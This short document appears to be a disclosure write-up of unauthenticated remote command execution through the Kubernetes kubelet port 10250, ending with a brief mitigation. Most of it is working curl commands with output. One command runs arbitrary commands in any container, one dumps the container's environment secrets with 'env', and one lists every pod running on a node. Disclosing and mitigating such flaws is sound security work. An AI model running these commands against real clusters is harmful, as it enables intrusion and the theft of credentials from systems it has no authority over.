kubelet-exploit

There were discussions (kubernetes/kubernetes#11816, kubernetes/kubernetes#3168, kubernetes/kubernetes#7965), but looks like nobody cares.

Everybody who has access to the service kubelet port (10250), even without a certificate, can execute any command inside the container.

# /run/%namespace%/%pod_name%/%container_name%
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
total 12
drwxr-xr-x   13 root     root           148 Aug 26 11:31 .
drwxr-xr-x   13 root     root           148 Aug 26 11:31 ..
-rwxr-xr-x    1 root     root             0 Aug 26 11:31 .dockerenv
drwxr-xr-x    2 root     root          8192 May  5 22:22 bin
drwxr-xr-x    5 root     root           380 Aug 26 11:31 dev
drwxr-xr-x    3 root     root           135 Aug 26 11:31 etc
drwxr-xr-x    2 nobody   nogroup          6 Mar 18 16:38 home
drwxr-xr-x    2 root     root             6 Apr 23 11:17 lib
dr-xr-xr-x  353 root     root             0 Aug 26 07:14 proc
drwxr-xr-x    2 root     root             6 Mar 18 16:38 root
dr-xr-xr-x   13 root     root             0 Aug 26 15:12 sys
drwxrwxrwt    2 root     root             6 Mar 18 16:38 tmp
drwxr-xr-x    4 root     root            31 Apr 23 11:17 usr
drwxr-xr-x    5 root     root            41 Aug 26 11:31 var

This makes namespaces/authentication and other security implementations in Kubernetes useless because by default any app inside the scheduled pod can access this port.

Here is how to get all secrets which container uses:

$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=env"

The list of all pods and containers which were scheduled on the Kubernetes worker node could be retrieved using command below:

$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Possible workaround

Force kubelet to listen localhost:

--address=127.0.0.1

Force kube-apiserver to use ssh instead of https:

--ssh-keyfile=path/to/id_rsa
--ssh-user=kube